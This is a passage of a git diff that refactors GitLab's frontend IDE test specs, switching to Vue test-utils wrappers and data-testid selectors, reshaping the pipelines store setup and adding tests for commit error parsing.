+ const findIcon = name => vm.$el.querySelector(`[data-testid="${name}-icon"]`);
const findMRIcon = () => findIcon('merge-request');
const findBranchIcon = () => findIcon('branch');
diff --git a/spec/frontend/ide/components/nav_dropdown_spec.js b/spec/frontend/ide/components/nav_dropdown_spec.js
index ce123d925c8..2f91ab7af0a 100644
--- a/spec/frontend/ide/components/nav_dropdown_spec.js
+++ b/spec/frontend/ide/components/nav_dropdown_spec.js
@@ -39,7 +39,7 @@ describe('IDE NavDropdown', () => {
});
};
- const findIcon = name => wrapper.find(`.ic-${name}`);
+ const findIcon = name => wrapper.find(`[data-testid="${name}-icon"]`);
const findMRIcon = () => findIcon('merge-request');
const findNavForm = () => wrapper.find('.ide-nav-form');
const showDropdown = () => {
diff --git a/spec/frontend/ide/components/new_dropdown/button_spec.js b/spec/frontend/ide/components/new_dropdown/button_spec.js
index 3c611b7de8f..66317296ee9 100644
--- a/spec/frontend/ide/components/new_dropdown/button_spec.js
+++ b/spec/frontend/ide/components/new_dropdown/button_spec.js
@@ -28,7 +28,7 @@ describe('IDE new entry dropdown button component', () => {
});
it('renders icon', () => {
- expect(vm.$el.querySelector('.ic-doc-new')).not.toBe(null);
+ expect(vm.$el.querySelector('[data-testid="doc-new-icon"]')).not.toBe(null);
});
it('emits click event', () => {
diff --git a/spec/frontend/ide/components/new_dropdown/upload_spec.js b/spec/frontend/ide/components/new_dropdown/upload_spec.js
index ad27954cd10..ae497106f73 100644
--- a/spec/frontend/ide/components/new_dropdown/upload_spec.js
+++ b/spec/frontend/ide/components/new_dropdown/upload_spec.js
@@ -85,7 +85,6 @@ describe('new dropdown upload', () => {
name: textFile.name,
type: 'blob',
content: 'plain text',
- binary: false,
rawPath: '',
});
})
@@ -102,7 +101,6 @@ describe('new dropdown upload', () => {
name: binaryFile.name,
type: 'blob',
content: binaryTarget.result.split('base64,')[1],
- binary: true,
rawPath: binaryTarget.result,
});
});
diff --git a/spec/frontend/ide/components/pipelines/list_spec.js b/spec/frontend/ide/components/pipelines/list_spec.js
index 86cdbafaff9..7f083fa7c25 100644
--- a/spec/frontend/ide/components/pipelines/list_spec.js
+++ b/spec/frontend/ide/components/pipelines/list_spec.js
@@ -22,11 +22,11 @@ describe('IDE pipelines list', () => {
const defaultState = {
links: { ciHelpPagePath: TEST_HOST },
pipelinesEmptyStateSvgPath: TEST_HOST,
- pipelines: {
- stages: [],
- failedStages: [],
- isLoadingJobs: false,
- },
+ };
+ const defaultPipelinesState = {
+ stages: [],
+ failedStages: [],
+ isLoadingJobs: false,
};
const fetchLatestPipelineMock = jest.fn();
@@ -34,23 +34,20 @@ describe('IDE pipelines list', () => {
const failedStagesGetterMock = jest.fn().mockReturnValue([]);
const fakeProjectPath = 'alpha/beta';
- const createComponent = (state = {}) => {
- const { pipelines: pipelinesState, ...restOfState } = state;
- const { defaultPipelines, ...defaultRestOfState } = defaultState;
-
- const fakeStore = new Vuex.Store({
+ const createStore = (rootState, pipelinesState) => {
+ return new Vuex.Store({
getters: {
currentProject: () => ({ web_url: 'some/url ', path_with_namespace: fakeProjectPath }),
},
state: {
- ...defaultRestOfState,
- ...restOfState,
+ ...defaultState,
+ ...rootState,
},
modules: {
pipelines: {
namespaced: true,
state: {
- ...defaultPipelines,
+ ...defaultPipelinesState,
...pipelinesState,
},
actions: {
@@ -69,10 +66,12 @@ describe('IDE pipelines list', () => {
},
},
});
+ };
+ const createComponent = (state = {}, pipelinesState = {}) => {
wrapper = shallowMount(List, {
localVue,
- store: fakeStore,
+ store: createStore(state, pipelinesState),
});
};
@@ -94,31 +93,33 @@ describe('IDE pipelines list', () => {
describe('when loading', () => {
let defaultPipelinesLoadingState;
+
beforeAll(() => {
defaultPipelinesLoadingState = {
- ...defaultState.pipelines,
isLoadingPipeline: true,
};
});
it('does not render when pipeline has loaded before', () => {
- createComponent({
- pipelines: {
+ createComponent(
+ {},
+ {
...defaultPipelinesLoadingState,
hasLoadedPipeline: true,
},
- });
+ );
expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
});
it('renders loading state', () => {
- createComponent({
- pipelines: {
+ createComponent(
+ {},
+ {
...defaultPipelinesLoadingState,
hasLoadedPipeline: false,
},
- });
+ );
expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
@@ -126,21 +127,22 @@ describe('IDE pipelines list', () => {
describe('when loaded', () => {
let defaultPipelinesLoadedState;
+
beforeAll(() => {
defaultPipelinesLoadedState = {
- ...defaultState.pipelines,
isLoadingPipeline: false,
hasLoadedPipeline: true,
};
});
it('renders empty state when no latestPipeline', () => {
- createComponent({ pipelines: { ...defaultPipelinesLoadedState, latestPipeline: null } });
+ createComponent({}, { ...defaultPipelinesLoadedState, latestPipeline: null });
expect(wrapper.element).toMatchSnapshot();
});
describe('with latest pipeline loaded', () => {
let withLatestPipelineState;
+
beforeAll(() => {
withLatestPipelineState = {
...defaultPipelinesLoadedState,
@@ -149,12 +151,12 @@ describe('IDE pipelines list', () => {
});
it('renders ci icon', () => {
- createComponent({ pipelines: withLatestPipelineState });
+ createComponent({}, withLatestPipelineState);
expect(wrapper.find(CiIcon).exists()).toBe(true);
});
it('renders pipeline data', () => {
- createComponent({ pipelines: withLatestPipelineState });
+ createComponent({}, withLatestPipelineState);
expect(wrapper.text()).toContain('#1');
});
@@ -162,7 +164,7 @@ describe('IDE pipelines list', () => {
it('renders list of jobs', () => {
const stages = [];
const isLoadingJobs = true;
- createComponent({ pipelines: { ...withLatestPipelineState, stages, isLoadingJobs } });
+ createComponent({}, { ...withLatestPipelineState, stages, isLoadingJobs });
const jobProps = wrapper
.findAll(Tab)
@@ -177,7 +179,7 @@ describe('IDE pipelines list', () => {
const failedStages = [];
failedStagesGetterMock.mockReset().mockReturnValue(failedStages);
const isLoadingJobs = true;
- createComponent({ pipelines: { ...withLatestPipelineState, isLoadingJobs } });
+ createComponent({}, { ...withLatestPipelineState, isLoadingJobs });
const jobProps = wrapper
.findAll(Tab)
@@ -191,12 +193,13 @@ describe('IDE pipelines list', () => {
describe('with YAML error', () => {
it('renders YAML error', () => {
const yamlError = 'test yaml error';
- createComponent({
- pipelines: {
+ createComponent(
+ {},
+ {
...defaultPipelinesLoadedState,
latestPipeline: { ...pipelines[0], yamlError },
},
- });
+ );
expect(wrapper.text()).toContain('Found errors in your .gitlab-ci.yml:');
expect(wrapper.text()).toContain(yamlError);
diff --git a/spec/frontend/ide/components/preview/clientside_spec.js b/spec/frontend/ide/components/preview/clientside_spec.js
index 7b2025f5e9f..7b22f75cee4 100644
--- a/spec/frontend/ide/components/preview/clientside_spec.js
+++ b/spec/frontend/ide/components/preview/clientside_spec.js
@@ -279,24 +279,16 @@ describe('IDE clientside preview', () => {
});
it('calls getFileData', () => {
- expect(storeActions.getFileData).toHaveBeenCalledWith(
- expect.any(Object),
- {
- path: 'package.json',
- makeFileActive: false,
- },
- undefined, // vuex callback
- );
+ expect(storeActions.getFileData).toHaveBeenCalledWith(expect.any(Object), {
+ path: 'package.json',
+ makeFileActive: false,
+ });
});
it('calls getRawFileData', () => {
- expect(storeActions.getRawFileData).toHaveBeenCalledWith(
- expect.any(Object),
- {
- path: 'package.json',
- },
- undefined, // vuex callback
- );
+ expect(storeActions.getRawFileData).toHaveBeenCalledWith(expect.any(Object), {
+ path: 'package.json',
+ });
});
});
diff --git a/spec/frontend/ide/components/repo_editor_spec.js b/spec/frontend/ide/components/repo_editor_spec.js
index f0ae2ba732b..9f4c9c1622a 100644
--- a/spec/frontend/ide/components/repo_editor_spec.js
+++ b/spec/frontend/ide/components/repo_editor_spec.js
@@ -45,7 +45,7 @@ describe('RepoEditor', () => {
const createOpenFile = path => {
const origFile = store.state.openFiles[0];
- const newFile = { ...origFile, path, key: path };
+ const newFile = { ...origFile, path, key: path, name: 'myfile.txt', content: 'hello world' };
store.state.entries[path] = newFile;
@@ -54,8 +54,9 @@ describe('RepoEditor', () => {
beforeEach(() => {
const f = {
- ...file(),
+ ...file('file.txt'),
viewMode: FILE_VIEW_MODE_EDITOR,
+ content: 'hello world',
};
const storeOptions = createStoreOptions();
@@ -142,6 +143,7 @@ describe('RepoEditor', () => {
...vm.file,
projectId: 'namespace/project',
path: 'sample.md',
+ name: 'sample.md',
content: 'testing 123',
});
@@ -200,7 +202,8 @@ describe('RepoEditor', () => {
describe('when open file is binary and not raw', () => {
beforeEach(done => {
- vm.file.binary = true;
+ vm.file.name = 'file.dat';
+ vm.file.content = 'ðŸ±'; // non-ascii binary content
vm.$nextTick(done);
});
@@ -407,6 +410,9 @@ describe('RepoEditor', () => {
beforeEach(done => {
jest.spyOn(vm.editor, 'updateDimensions').mockImplementation();
vm.file.viewMode = FILE_VIEW_MODE_PREVIEW;
+ vm.file.name = 'myfile.md';
+ vm.file.content = 'hello world';
+
vm.$nextTick(done);
});
@@ -650,7 +656,6 @@ describe('RepoEditor', () => {
path: 'foo/foo.png',
type: 'blob',
content: 'Zm9v',
- binary: true,
rawPath: 'data:image/png;base64,Zm9v',
});
});
diff --git a/spec/frontend/ide/components/repo_tab_spec.js b/spec/frontend/ide/components/repo_tab_spec.js
index 5a591d3dcd0..f35726de27c 100644
--- a/spec/frontend/ide/components/repo_tab_spec.js
+++ b/spec/frontend/ide/components/repo_tab_spec.js
@@ -1,21 +1,24 @@
-import Vue from 'vue';
+import { mount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
import { createStore } from '~/ide/stores';
-import repoTab from '~/ide/components/repo_tab.vue';
+import RepoTab from '~/ide/components/repo_tab.vue';
import { createRouter } from '~/ide/ide_router';
import { file } from '../helpers';
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
describe('RepoTab', () => {
- let vm;
+ let wrapper;
let store;
let router;
function createComponent(propsData) {
- const RepoTab = Vue.extend(repoTab);
-
- return new RepoTab({
+ wrapper = mount(RepoTab, {
+ localVue,
store,
propsData,
- }).$mount();
+ });
}
beforeEach(() => {
@@ -25,23 +28,24 @@ describe('RepoTab', () => {
});
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
+ wrapper = null;
});
it('renders a close link and a name link', () => {
- vm = createComponent({
+ createComponent({
tab: file(),
});
- vm.$store.state.openFiles.push(vm.tab);
- const close = vm.$el.querySelector('.multi-file-tab-close');
- const name = vm.$el.querySelector(`[title="${vm.tab.url}"]`);
+ wrapper.vm.$store.state.openFiles.push(wrapper.vm.tab);
+ const close = wrapper.find('.multi-file-tab-close');
+ const name = wrapper.find(`[title]`);
- expect(close.innerHTML).toContain('#close');
- expect(name.textContent.trim()).toEqual(vm.tab.name);
+ expect(close.html()).toContain('#close');
+ expect(name.text().trim()).toEqual(wrapper.vm.tab.name);
});
- it('does not call openPendingTab when tab is active', done => {
- vm = createComponent({
+ it('does not call openPendingTab when tab is active', async () => {
+ createComponent({
tab: {
...file(),
pending: true,
@@ -49,63 +53,51 @@ describe('RepoTab', () => {
},
});
- jest.spyOn(vm, 'openPendingTab').mockImplementation(() => {});
+ jest.spyOn(wrapper.vm, 'openPendingTab').mockImplementation(() => {});
- vm.$el.click();
+ await wrapper.trigger('click');
- vm.$nextTick(() => {
- expect(vm.openPendingTab).not.toHaveBeenCalled();
-
- done();
- });
+ expect(wrapper.vm.openPendingTab).not.toHaveBeenCalled();
});
it('fires clickFile when the link is clicked', () => {
- vm = createComponent({
+ createComponent({
tab: file(),
});
- jest.spyOn(vm, 'clickFile').mockImplementation(() => {});
+ jest.spyOn(wrapper.vm, 'clickFile').mockImplementation(() => {});
- vm.$el.click();
+ wrapper.trigger('click');
- expect(vm.clickFile).toHaveBeenCalledWith(vm.tab);
+ expect(wrapper.vm.clickFile).toHaveBeenCalledWith(wrapper.vm.tab);
});
it('calls closeFile when clicking close button', () => {
- vm = createComponent({
+ createComponent({
tab: file(),
});
- jest.spyOn(vm, 'closeFile').mockImplementation(() => {});
+ jest.spyOn(wrapper.vm, 'closeFile').mockImplementation(() => {});
- vm.$el.querySelector('.multi-file-tab-close').click();
+ wrapper.find('.multi-file-tab-close').trigger('click');
- expect(vm.closeFile).toHaveBeenCalledWith(vm.tab);
+ expect(wrapper.vm.closeFile).toHaveBeenCalledWith(wrapper.vm.tab);
});
- it('changes icon on hover', done => {
+ it('changes icon on hover', async () => {
const tab = file();
tab.changed = true;
- vm = createComponent({
+ createComponent({
tab,
});
- vm.$el.dispatchEvent(new Event('mouseover'));
+ await wrapper.trigger('mouseover');
- Vue.nextTick()
- .then(() => {
- expect(vm.$el.querySelector('.file-modified')).toBeNull();
+ expect(wrapper.find('.file-modified').exists()).toBe(false);
- vm.$el.dispatchEvent(new Event('mouseout'));
- })
- .then(Vue.nextTick)
- .then(() => {
- expect(vm.$el.querySelector('.file-modified')).not.toBeNull();
+ await wrapper.trigger('mouseout');
- done();
- })
- .catch(done.fail);
+ expect(wrapper.find('.file-modified').exists()).toBe(true);
});
describe('locked file', () => {
@@ -120,21 +112,17 @@ describe('RepoTab', () => {
},
};
- vm = createComponent({
+ createComponent({
tab: f,
});
});
- afterEach(() => {
- vm.$destroy();
- });
-
it('renders lock icon', () => {
- expect(vm.$el.querySelector('.file-status-icon')).not.toBeNull();
+ expect(wrapper.find('.file-status-icon')).not.toBeNull();
});
it('renders a tooltip', () => {
- expect(vm.$el.querySelector('span:nth-child(2)').dataset.originalTitle).toContain(
+ expect(wrapper.find('span:nth-child(2)').attributes('data-original-title')).toContain(
'Locked by testuser',
);
});
@@ -142,45 +130,37 @@ describe('RepoTab', () => {
describe('methods', () => {
describe('closeTab', () => {
- it('closes tab if file has changed', done => {
+ it('closes tab if file has changed', async () => {
const tab = file();
tab.changed = true;
tab.opened = true;
- vm = createComponent({
+ createComponent({
tab,
});
- vm.$store.state.openFiles.push(tab);
- vm.$store.state.changedFiles.push(tab);
- vm.$store.state.entries[tab.path] = tab;
- vm.$store.dispatch('setFileActive', tab.path);
-
- vm.$el.querySelector('.multi-file-tab-close').click();
+ wrapper.vm.$store.state.openFiles.push(tab);
+ wrapper.vm.$store.state.changedFiles.push(tab);
+ wrapper.vm.$store.state.entries[tab.path] = tab;
+ wrapper.vm.$store.dispatch('setFileActive', tab.path);
- vm.$nextTick(() => {
- expect(tab.opened).toBeFalsy();
- expect(vm.$store.state.changedFiles.length).toBe(1);
+ await wrapper.find('.multi-file-tab-close').trigger('click');
- done();
- });
+ expect(tab.opened).toBeFalsy();
+ expect(wrapper.vm.$store.state.changedFiles).toHaveLength(1);
});
- it('closes tab when clicking close btn', done => {
+ it('closes tab when clicking close btn', async () => {
const tab = file('lose');
tab.opened = true;
- vm = createComponent({
+ createComponent({
tab,
});
- vm.$store.state.openFiles.push(tab);
- vm.$store.state.entries[tab.path] = tab;
- vm.$store.dispatch('setFileActive', tab.path);
+ wrapper.vm.$store.state.openFiles.push(tab);
+ wrapper.vm.$store.state.entries[tab.path] = tab;
+ wrapper.vm.$store.dispatch('setFileActive', tab.path);
- vm.$el.querySelector('.multi-file-tab-close').click();
+ await wrapper.find('.multi-file-tab-close').trigger('click');
- vm.$nextTick(() => {
- expect(tab.opened).toBeFalsy();
-
- done();
- });
+ expect(tab.opened).toBeFalsy();
});
});
});
diff --git a/spec/frontend/ide/components/repo_tabs_spec.js b/spec/frontend/ide/components/repo_tabs_spec.js
index df5b01770f5..b251f207853 100644
--- a/spec/frontend/ide/components/repo_tabs_spec.js
+++ b/spec/frontend/ide/components/repo_tabs_spec.js
@@ -1,27 +1,40 @@
-import Vue from 'vue';
-import repoTabs from '~/ide/components/repo_tabs.vue';
-import createComponent from '../../helpers/vue_mount_component_helper';
+import Vuex from 'vuex';
+import { mount, createLocalVue } from '@vue/test-utils';
+import { createStore } from '~/ide/stores';
+import RepoTabs from '~/ide/components/repo_tabs.vue';
import { file } from '../helpers';
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
describe('RepoTabs', () => {
- const openedFiles = [file('open1'), file('open2')];
- const RepoTabs = Vue.extend(repoTabs);
- let vm;
+ let wrapper;
+ let store;
+
+ beforeEach(() => {
+ store = createStore();
+ store.state.openFiles = [file('open1'), file('open2')];
+
+ wrapper = mount(RepoTabs, {
+ propsData: {
+ files: store.state.openFiles,
+ viewer: 'editor',
+ activeFile: file('activeFile'),
+ },
+ store,
+ localVue,
+ });
+ });
afterEach(() => {
- vm.$destroy();
+ wrapper.destroy();
});
it('renders a list of tabs', done => {
- vm = createComponent(RepoTabs, {
- files: openedFiles,
- viewer: 'editor',
- activeFile: file('activeFile'),
- });
- openedFiles[0].active = true;
+ store.state.openFiles[0].active = true;
- vm.$nextTick(() => {
- const tabs = [...vm.$el.querySelectorAll('.multi-file-tab')];
+ wrapper.vm.$nextTick(() => {
+ const tabs = [...wrapper.vm.$el.querySelectorAll('.multi-file-tab')];
expect(tabs.length).toEqual(2);
expect(tabs[0].parentNode.classList.contains('active')).toEqual(true);
diff --git a/spec/frontend/ide/components/terminal/session_spec.js b/spec/frontend/ide/components/terminal/session_spec.js
index 2399446ed15..ce61a31691a 100644
--- a/spec/frontend/ide/components/terminal/session_spec.js
+++ b/spec/frontend/ide/components/terminal/session_spec.js
@@ -52,7 +52,7 @@ describe('IDE TerminalSession', () => {
state.session = null;
factory();
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
it('shows terminal', () => {
diff --git a/spec/frontend/ide/components/terminal/terminal_controls_spec.js b/spec/frontend/ide/components/terminal/terminal_controls_spec.js
index 6c2871abb46..c22063e1d72 100644
--- a/spec/frontend/ide/components/terminal/terminal_controls_spec.js
+++ b/spec/frontend/ide/components/terminal/terminal_controls_spec.js
@@ -42,24 +42,24 @@ describe('IDE TerminalControls', () => {
it('emits "scroll-up" when click up button', () => {
factory({ propsData: { canScrollUp: true } });
- expect(wrapper.emittedByOrder()).toEqual([]);
+ expect(wrapper.emitted()).toEqual({});
buttons.at(0).vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emittedByOrder()).toEqual([{ name: 'scroll-up', args: [] }]);
+ expect(wrapper.emitted('scroll-up')).toEqual([[]]);
});
});
it('emits "scroll-down" when click down button', () => {
factory({ propsData: { canScrollDown: true } });
- expect(wrapper.emittedByOrder()).toEqual([]);
+ expect(wrapper.emitted()).toEqual({});
buttons.at(1).vm.$emit('click');
return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emittedByOrder()).toEqual([{ name: 'scroll-down', args: [] }]);
+ expect(wrapper.emitted('scroll-down')).toEqual([[]]);
});
});
});
diff --git a/spec/frontend/ide/components/terminal_sync/terminal_sync_status_spec.js b/spec/frontend/ide/components/terminal_sync/terminal_sync_status_spec.js
index 16a76fae1dd..9adf5848f9d 100644
--- a/spec/frontend/ide/components/terminal_sync/terminal_sync_status_spec.js
+++ b/spec/frontend/ide/components/terminal_sync/terminal_sync_status_spec.js
@@ -1,13 +1,12 @@
import Vuex from 'vuex';
import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
import TerminalSyncStatus from '~/ide/components/terminal_sync/terminal_sync_status.vue';
import {
MSG_TERMINAL_SYNC_CONNECTING,
MSG_TERMINAL_SYNC_UPLOADING,
MSG_TERMINAL_SYNC_RUNNING,
} from '~/ide/stores/modules/terminal_sync/messages';
-import Icon from '~/vue_shared/components/icon.vue';
const TEST_MESSAGE = 'lorem ipsum dolar sit';
const START_LOADING = 'START_LOADING';
@@ -58,7 +57,7 @@ describe('ide/components/terminal_sync/terminal_sync_status', () => {
it('shows nothing', () => {
createComponent();
- expect(wrapper.isEmpty()).toBe(true);
+ expect(wrapper.html()).toBe('');
});
});
@@ -80,7 +79,7 @@ describe('ide/components/terminal_sync/terminal_sync_status', () => {
if (!icon) {
it('does not render icon', () => {
- expect(wrapper.find(Icon).exists()).toBe(false);
+ expect(wrapper.find(GlIcon).exists()).toBe(false);
});
it('renders loading icon', () => {
@@ -88,7 +87,7 @@ describe('ide/components/terminal_sync/terminal_sync_status', () => {
});
} else {
it('renders icon', () => {
- expect(wrapper.find(Icon).props('name')).toEqual(icon);
+ expect(wrapper.find(GlIcon).props('name')).toEqual(icon);
});
it('does not render loading icon', () => {
diff --git a/spec/frontend/ide/helpers.js b/spec/frontend/ide/helpers.js
index 8caa9c2b437..0e85b523cbd 100644
--- a/spec/frontend/ide/helpers.js
+++ b/spec/frontend/ide/helpers.js
@@ -6,7 +6,6 @@ export const file = (name = 'name', id = name, type = '', parent = null) =>
id,
type,
icon: 'icon',
- url: 'url',
name,
path: parent ? `${parent.path}/${name}` : name,
parentPath: parent ? parent.path : '',
diff --git a/spec/frontend/ide/lib/editor_spec.js b/spec/frontend/ide/lib/editor_spec.js
index 529f80e6f6f..01c2eab33a5 100644
--- a/spec/frontend/ide/lib/editor_spec.js
+++ b/spec/frontend/ide/lib/editor_spec.js
@@ -202,28 +202,6 @@ describe('Multi-file editor library', () => {
});
});
- describe('schemas', () => {
- let originalGon;
-
- beforeEach(() => {
- originalGon = window.gon;
- window.gon = { features: { schemaLinting: true } };
-
- delete Editor.editorInstance;
- instance = Editor.create();
- });
-
- afterEach(() => {
- window.gon = originalGon;
- });
-
- it('registers custom schemas defined with Monaco', () => {
- expect(monacoLanguages.yaml.yamlDefaults.diagnosticsOptions).toMatchObject({
- schemas: [{ fileMatch: ['*.gitlab-ci.yml'] }],
- });
- });
- });
-
describe('replaceSelectedText', () => {
let model;
let editor;
diff --git a/spec/frontend/ide/lib/errors_spec.js b/spec/frontend/ide/lib/errors_spec.js
new file mode 100644
index 00000000000..8c3fb378302
--- /dev/null
+++ b/spec/frontend/ide/lib/errors_spec.js
@@ -0,0 +1,70 @@
+import {
+ createUnexpectedCommitError,
+ createCodeownersCommitError,
+ createBranchChangedCommitError,
+ parseCommitError,
+} from '~/ide/lib/errors';
+
+const TEST_SPECIAL = '&special<';
+const TEST_SPECIAL_ESCAPED = '&amp;special&lt;';
+const TEST_MESSAGE = 'Test message.';
+const CODEOWNERS_MESSAGE =
+ 'Push to protected branches that contain changes to files matching CODEOWNERS is not allowed';
+const CHANGED_MESSAGE = 'Things changed since you started editing';
+
+describe('~/ide/lib/errors', () => {
+ const createResponseError = message => ({
+ response: {
+ data: {
+ message,
+ },
+ },
+ });
+
+ describe('createCodeownersCommitError', () => {
+ it('uses given message', () => {
+ expect(createCodeownersCommitError(TEST_MESSAGE)).toEqual({
+ title: 'CODEOWNERS rule violation',
+ messageHTML: TEST_MESSAGE,
+ canCreateBranch: true,
+ });
+ });
+
+ it('escapes special chars', () => {
+ expect(createCodeownersCommitError(TEST_SPECIAL)).toEqual({
+ title: 'CODEOWNERS rule violation',
+ messageHTML: TEST_SPECIAL_ESCAPED,
+ canCreateBranch: true,
+ });
+ });
+ });
+
+ describe('createBranchChangedCommitError', () => {
+ it.each`
+ message | expectedMessage
+ ${TEST_MESSAGE} | ${`${TEST_MESSAGE}<br/><br/>Would you like to create a new branch?`}
+ ${TEST_SPECIAL} | ${`${TEST_SPECIAL_ESCAPED}<br/><br/>Would you like to create a new branch?`}
+ `('uses given message="$message"', ({ message, expectedMessage }) => {
+ expect(createBranchChangedCommitError(message)).toEqual({
+ title: 'Branch changed',
+ messageHTML: expectedMessage,
+ canCreateBranch: true,
+ });
+ });
+ });
+
+ describe('parseCommitError', () => {
+ it.each`
+ message | expectation
+ ${null} | ${createUnexpectedCommitError()}
+ ${{}} | ${createUnexpectedCommitError()}
+ ${{ response: {} }} | ${createUnexpectedCommitError()}
+ ${{ response: { data: {} } }} | ${createUnexpectedCommitError()}
+ ${createResponseError('test')} | ${createUnexpectedCommitError()}
+ ${createResponseError(CODEOWNERS_MESSAGE)} | ${createCodeownersCommitError(CODEOWNERS_MESSAGE)}
+ ${createResponseError(CHANGED_MESSAGE)} | ${createBranchChangedCommitError(CHANGED_MESSAGE)}
+ `('parses message into error object with "$message"', ({ message, expectation }) => {
+ expect(parseCommitError(message)).toEqual(expectation);
+ });
+ });
+});
diff --git a/spec/frontend/ide/lib/files_spec.js b/spec/frontend/ide/lib/files_spec.js
index 6974cdc4074..8ca6f01d9a6 100644
--- a/spec/frontend/ide/lib/files_spec.js
+++ b/spec/frontend/ide/lib/files_spec.js
@@ -1,29 +1,16 @@
-import { viewerInformationForPath } from '~/vue_shared/components/content_viewer/lib/viewer_utils';
import { decorateFiles, splitParent } from '~/ide/lib/files';
import { decorateData } from '~/ide/stores/utils';
-const TEST_BRANCH_ID = 'lorem-ipsum';
-const TEST_PROJECT_ID = 10;
-
const createEntries = paths => {
const createEntry = (acc, { path, type, children }) => {
- // Sometimes we need to end the url with a '/'
- const createUrl = base => (type === 'tree' ? `${base}/` : base);
-
const { name, parent } = splitParent(path);
- const previewMode = viewerInformationForPath(name);
acc[path] = {
...decorateData({
- projectId: TEST_PROJECT_ID,
- branchId: TEST_BRANCH_ID,
id: path,
name,
path,
- url: createUrl(`/${TEST_PROJECT_ID}/${type}/${TEST_BRANCH_ID}/-/${path}`),
type,
- previewMode,
- binary: (previewMode && previewMode.binary) || false,
parentPath: parent,
}),
tree: children.map(childName => expect.objectContaining({ name: childName })),
@@ -56,11 +43,7 @@ describe('IDE lib decorate files', () => {
{ path: 'README.md', type: 'blob', children: [] },
]);
- const { entries, treeList } = decorateFiles({
- data,
- branchId: TEST_BRANCH_ID,
- projectId: TEST_PROJECT_ID,
- });
+ const { entries, treeList } = decorateFiles({ data });
// Here we test the keys and then each key/value individually because `expect(entries).toEqual(expectedEntries)`
// was taking a very long time for some reason. Probably due to large objects and nested `expect.objectContaining`.
diff --git a/spec/frontend/ide/mock_data.js b/spec/frontend/ide/mock_data.js
index 472516b6a2c..c8925e6745d 100644
--- a/spec/frontend/ide/mock_data.js
+++ b/spec/frontend/ide/mock_data.js
@@ -112,7 +112,8 @@ export const jobs = [
{
id: 4,
name: 'test 4',
- path: 'testing4',
+ // bridge jobs don't have details page and so there is no path attribute
+ // see https://gitlab.com/gitlab-org/gitlab/-/issues/216480
status: {
icon: 'status_failed',
text: 'failed',
diff --git a/spec/frontend/ide/services/index_spec.js b/spec/frontend/ide/services/index_spec.js
index bc3f86702cf..d2c32a81811 100644
--- a/spec/frontend/ide/services/index_spec.js
+++ b/spec/frontend/ide/services/index_spec.js
@@ -146,7 +146,7 @@ describe('IDE services', () => {
it('gives back file.baseRaw for files with that property present', () => {
file.baseRaw = TEST_FILE_CONTENTS;
- return services.getBaseRawFileData(file, TEST_COMMIT_SHA).then(content => {
+ return services.getBaseRawFileData(file, TEST_PROJECT_ID, TEST_COMMIT_SHA).then(content => {
expect(content).toEqual(TEST_FILE_CONTENTS);
});
});
@@ -155,7 +155,7 @@ describe('IDE services', () => {
file.tempFile = true;
file.baseRaw = TEST_FILE_CONTENTS;
- return services.getBaseRawFileData(file, TEST_COMMIT_SHA).then(content => {
+ return services.getBaseRawFileData(file, TEST_PROJECT_ID, TEST_COMMIT_SHA).then(content => {
expect(content).toEqual(TEST_FILE_CONTENTS);
});
});
@@ -192,7 +192,7 @@ describe('IDE services', () => {
});
it('fetches file content', () =>
- services.getBaseRawFileData(file, TEST_COMMIT_SHA).then(content => {
+ services.getBaseRawFileData(file, TEST_PROJECT_ID, TEST_COMMIT_SHA).then(content => {
expect(content).toEqual(TEST_FILE_CONTENTS);
}));
},
diff --git a/spec/frontend/ide/stores/actions/file_spec.js b/spec/frontend/ide/stores/actions/file_spec.js
index 88e7a9fff36..974c0715c06 100644
--- a/spec/frontend/ide/stores/actions/file_spec.js
+++ b/spec/frontend/ide/stores/actions/file_spec.js
@@ -27,6 +27,10 @@ describe('IDE store file actions', () => {
};
store = createStore();
+
+ store.state.currentProjectId = 'test/test';
+ store.state.currentBranchId = 'master';
+
router = createRouter(store);
jest.spyOn(store, 'commit');
@@ -72,10 +76,7 @@ describe('IDE store file actions', () => {
});
it('closes file & opens next available file', () => {
- const f = {
- ...file('newOpenFile'),
- url: '/newOpenFile',
- };
+ const f = file('newOpenFile');
store.state.openFiles.push(f);
store.state.entries[f.path] = f;
@@ -84,7 +85,7 @@ describe('IDE store file actions', () => {
.dispatch('closeFile', localFile)
.then(Vue.nextTick)
.then(() => {
- expect(router.push).toHaveBeenCalledWith(`/project${f.url}`);
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/-/newOpenFile/');
});
});
@@ -240,7 +241,6 @@ describe('IDE store file actions', () => {
200,
{
raw_path: 'raw_path',
- binary: false,
},
{
'page-title': 'testing getFileData',
@@ -296,7 +296,6 @@ describe('IDE store file actions', () => {
describe('Re-named success', () => {
beforeEach(() => {
localFile = file(`newCreate-${Math.random()}`);
- localFile.url = `project/getFileDataURL`;
localFile.prevPath = 'old-dull-file';
localFile.path = 'new-shiny-file';
store.state.entries[localFile.path] = localFile;
@@ -305,7 +304,6 @@ describe('IDE store file actions', () => {
200,
{
raw_path: 'raw_path',
- binary: false,
},
{
'page-title': 'testing old-dull-file',
@@ -393,7 +391,11 @@ describe('IDE store file actions', () => {
tmpFile.mrChange = { new_file: false };
return store.dispatch('getRawFileData', { path: tmpFile.path }).then(() => {
- expect(service.getBaseRawFileData).toHaveBeenCalledWith(tmpFile, 'SHA');
+ expect(service.getBaseRawFileData).toHaveBeenCalledWith(
+ tmpFile,
+ 'gitlab-org/gitlab-ce',
+ 'SHA',
+ );
expect(tmpFile.baseRaw).toBe('baseraw');
});
});
@@ -660,7 +662,7 @@ describe('IDE store file actions', () => {
});
it('pushes route for active file', () => {
- expect(router.push).toHaveBeenCalledWith(`/project${tmpFile.url}`);
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/-/tempFile/');
});
});
});
@@ -735,10 +737,8 @@ describe('IDE store file actions', () => {
});
it('pushes router URL when added', () => {
- store.state.currentBranchId = 'master';
-
